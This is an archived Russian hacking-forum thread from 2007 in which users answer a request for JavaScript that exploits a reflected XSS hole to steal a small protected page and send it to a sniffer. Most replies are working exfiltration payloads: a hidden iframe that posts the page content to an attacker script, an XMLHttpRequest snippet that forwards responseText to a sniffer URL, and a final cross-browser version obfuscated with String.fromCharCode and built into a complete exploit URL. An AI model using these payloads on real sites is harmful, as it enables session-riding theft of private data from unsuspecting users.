PDA

Просмотр полной версии : (+50) Вопрос по Javascript


c411k
19.05.2007, 16:31
Gh0s7 попропрорпросил запостить :)

Собственно сабж. Есть вопрос по жс.
<Gh0s7> Ситуация такая:
<Gh0s7> Есть саент, на нем пассив гет хсс, длина неорграничена.
<Gh0s7> На том же саенте есть мааленькая страничка. Она очень маленькая, в одну строку, примерно 12-16 символов, полностью без хтмл.
<Gh0s7> Нужно через имеющуюся хсс слить эту страницу куда-нибудь, например на сниффер.
<Gh0s7> На сколько я знаю, это реально.
<Gh0s7> Тем, кто даст код +50 в репу (после того, как вернусь из отпуска, в понедельник)

Abra
19.05.2007, 16:40
через xss получить контент страницы? 0_о страница закрытая что ли? Типа для мемберов?
Думаю через XMLHttpRequest как-нить поколодовать можно. Отправить запрос на страницу, получить контент в качестве ответа, передать контент снифферу. Хотя хз.

Вариант 2:
Вставляем в уязвимую страницу фрейм с таргетом на закрытую страницу, и JS код который тырит контент фрейма (помоему innerHTML может из фрейма контент забрать?). ну и далее этот контент отправляем на снифак.

ЗЫ просто мысли в слух - надеюсь никто не против.

+toxa+
19.05.2007, 17:05
<script src=""></script>
мб так? имхо минимальный размер)

invlose
19.05.2007, 17:25
+toxa+=)
опередил

NOmeR1
19.05.2007, 17:32
А так не меньше?
<frame src="">

invlose
19.05.2007, 18:07
в случае фрейма должны быть одинаковые домены(тут тоже есть тонкость) фрейма и закрытой страницы


или нужно писать <frame src='javascript:......'> (не уверен что прокатит)

********
если я правильно понял про что вы ,
если нет-извините=)

V1k
19.05.2007, 18:50
<iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';i1.contentDocument.location='http://our/sniffer.script?data='+escape(i1.contentDocument.ge tElementsByTagName('html')[0].innerHTML)"></iframe>

Это будет работать, естественно, если не противоречит безопасности JavaScript, т.е. страница с xss и похищяемая должны иметь одинаковые протокол и домен.

V1k
19.05.2007, 18:54
GreenBear, все таки
На том же саенте есть мааленькая страничка.
или
код страницы, где ксс?

blackybr
19.05.2007, 19:04
GreenBear, все таки

или
?

<Gh0s7> 'Не код страницы где хсс, а код той небольшой страницы, где 14-16 символов'

V1k
19.05.2007, 19:21
омг, ты в курсе что событие onload в iframe происходит после того, как полностью загрузилась страница, указанная в его src?

V1k
19.05.2007, 21:19
Два изменения:
1) Теперь читаются не только html, но и txt(т.е. страницы без тегов).
2) Исходный текст страницы передается POST'ом=>увеличена возможная длина.

Теперь хтмл выглядит так:

<iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';data=i1.contentDocument.childNodes[0].innerHTML;i1.contentDocument.appendChild(f1=i1.co ntentDocument.createElement('form'));f1.appendChil d(t1=i1.contentDocument.createElement('input'));f1 .method='post';f1.action='http://our/sniffer.script';t1.name='send';t1.value=data;f1.su bmit()"></iframe>

Несмотря на до сих пор мне непонятные претензии iNVLose, код работает

Helios
19.05.2007, 21:44
Вот пример:

<script>
function cR(){var hR;var b=navigator.appName;if(b=="Microsoft Internet Explorer"){hR=new ActiveXObject("Microsoft.XMLHTTP");}else{hR=new XMLHttpRequest();}return hR;}
function gT(){if(r.readyState==4&&s==0){var t=r.responseText;s=1;r.open('get',sniff+t);r.send( null);}}
var r=new cR();var s=0;var sniff = 'url_of_sniffer.php?';
r.open('get', 'url_to_be_opened');
r.onreadystatechange = gT;
r.send(null);
</script>


Заменить url_of_sniffer.php на URL сниффера, url_to_be_opened на адрес нужной страницы.

З.Ы. Iframe не поможет, т.к. браузер:
а) Не передает в него кукисы, HTTP_AUTH_USER, etc от основной страницы.
б) Не даст посмотреть его innerHTML

V1k
19.05.2007, 22:58
Дело в том, что я писал свой вариант ориентируясь на Оперу. Мой код не работает под Ие, твой под Оперой. Может имеет смысл объединить их и получить кроссбраузерный варант=)
Вот пример:
а) Не передает в него кукисы, HTTP_AUTH_USER, etc от основной страницы.Ты уверен?

Helios
19.05.2007, 23:08
твой под Оперой
Под 7.1 может и не работает...

Ты уверен?
Проверь

V1k
20.05.2007, 15:45
Под 7.1 может и не работает...не угадал, не работает под 9.2
Не передает в него кукисы Cookies привязываются не к определенной странице, обычно это [протокол] домен [путь].
Даже если бы они не передавались, ничто не помешало бы взять их в document.cookie и передать iframe'у.


Несовместимость с Ие заключалась в двух вещах:
1) В Ие iframe-document расположен не в iframe.contentDocument, а в iframe.document
2) Несмотря на стандарты ecmascript Ie запрещает инициировать отправку формы размещенную в iframe путем iframe.document.form.submit()



Рассмотрим пример.
страница http://v1k.jino-net.ru/page1.php обладает xss уязвимостю в параметре echo. Она также присваивает cookie "login=billgates".
страница http://v1k.jino-net.ru/secretpage.php проверяет cookie, и если в нем login==billgates, to выводит, безусловно, секретную информацию "bill gates is lamer", иначе пишет "You didn't enter".
страница http://v1k.jino-net.ru/sniffer.php является сниффером,который записывает каждое значение из $_REQUEST в лог sinfferlog.txt.

Нам нужно узнать, что билл ламер.

Код теперь имеет вид
<iframe id=i1 style=display:none name=i1 src=http://v1k.jino-net.ru/secretpage.php onload="
if(typeof(onetime)=='undefined'){
onetime=1;
idoc=(navigator.appName=='Microsoft Internet Explorer')?i1.document:i1.contentDocument;//определяем iframe-document в зависимости от браузера
data=idoc.childNodes[0].innerHTML;
idoc.write('<form method=post id=\'f1\' action=\'http://v1k.jino-net.ru/sniffer.php\'><input name=\'send\' value=\''+escape(data)+'\'/></form><script>f1.submit()</script>')//пишем в iframe самоотправляющуюся форму
}"></iframe>

Где Iframe Src = код похищяемой страницы, а Form Action адрес сниффера.

%22 и %27 экранируются на jino-net, поэтому кодируем содержимое Iframe Onload в вид String.fromCharCode - String.fromCharCode(105,102,40,116,121,112,101,111 ,102,40,111,110,101,116,105,109,101,41,61,61,39,11 7,110,100,101,102,105,110,101,100,39,41,123,111,11 0,101,116,105,109,101,61,49,59,105,100,111,99,61,4 0,110,97,118,105,103,97,116,111,114,46,97,112,112, 78,97,109,101,61,61,39,77,105,99,114,111,115,111,1 02,116,32,73,110,116,101,114,110,101,116,32,69,120 ,112,108,111,114,101,114,39,41,63,105,49,46,100,11 1,99,117,109,101,110,116,58,105,49,46,99,111,110,1 16,101,110,116,68,111,99,117,109,101,110,116,59,10 0,97,116,97,61,105,100,111,99,46,99,104,105,108,10 0,78,111,100,101,115,91,48,93,46,105,110,110,101,1 14,72,84,77,76,59,105,100,111,99,46,119,114,105,11 6,101,40,39,60,102,111,114,109,32,109,101,116,104, 111,100,61,112,111,115,116,32,105,100,61,92,39,102 ,49,92,39,32,97,99,116,105,111,110,61,92,39,104,11 6,116,112,58,47,47,118,49,107,46,106,105,110,111,4 5,110,101,116,46,114,117,47,115,110,105,102,102,10 1,114,46,112,104,112,92,39,62,60,105,110,112,117,1 16,32,110,97,109,101,61,92,39,115,101,110,100,92,3 9,32,118,97,108,117,101,61,92,39,39,43,101,115,99, 97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,6 0,47,102,111,114,109,62,60,115,99,114,105,112,116, 62,102,49,46,115,117,98,109,105,116,40,41,60,47,11 5,99,114,105,112,116,62,39,41,125)

Конечный url - http://v1k.jino-net.ru/page1.php?echo=<iframe%20id=i1%20style=display:none%20name=i1%20sr c=http://v1k.jino-net.ru/secretpage.php%20onload=eval(String.fromCharCode(1 05,102,40,116,121,112,101,111,102,40,111,110,101,1 16,105,109,101,41,61,61,39,117,110,100,101,102,105 ,110,101,100,39,41,123,111,110,101,116,105,109,101 ,61,49,59,105,100,111,99,61,40,110,97,118,105,103, 97,116,111,114,46,97,112,112,78,97,109,101,61,61,3 9,77,105,99,114,111,115,111,102,116,32,73,110,116, 101,114,110,101,116,32,69,120,112,108,111,114,101, 114,39,41,63,105,49,46,100,111,99,117,109,101,110, 116,58,105,49,46,99,111,110,116,101,110,116,68,111 ,99,117,109,101,110,116,59,100,97,116,97,61,105,10 0,111,99,46,99,104,105,108,100,78,111,100,101,115, 91,48,93,46,105,110,110,101,114,72,84,77,76,59,105 ,100,111,99,46,119,114,105,116,101,40,39,60,102,11 1,114,109,32,109,101,116,104,111,100,61,112,111,11 5,116,32,105,100,61,92,39,102,49,92,39,32,97,99,11 6,105,111,110,61,92,39,104,116,116,112,58,47,47,11 8,49,107,46,106,105,110,111,45,110,101,116,46,114, 117,47,115,110,105,102,102,101,114,46,112,104,112, 92,39,62,60,105,110,112,117,116,32,110,97,109,101, 61,92,39,115,101,110,100,92,39,32,118,97,108,117,1 01,61,92,39,39,43,101,115,99,97,112,101,40,100,97, 116,97,41,43,39,92,39,47,62,60,47,102,111,114,109, 62,60,115,99,114,105,112,116,62,102,49,46,115,117, 98,109,105,116,40,41,60,47,115,99,114,105,112,116, 62,39,41,125))></iframe>

Работает и на Opera, и на Internet Explorer, и на Mozilla Firefox.

ЗЫ: i am ajax hater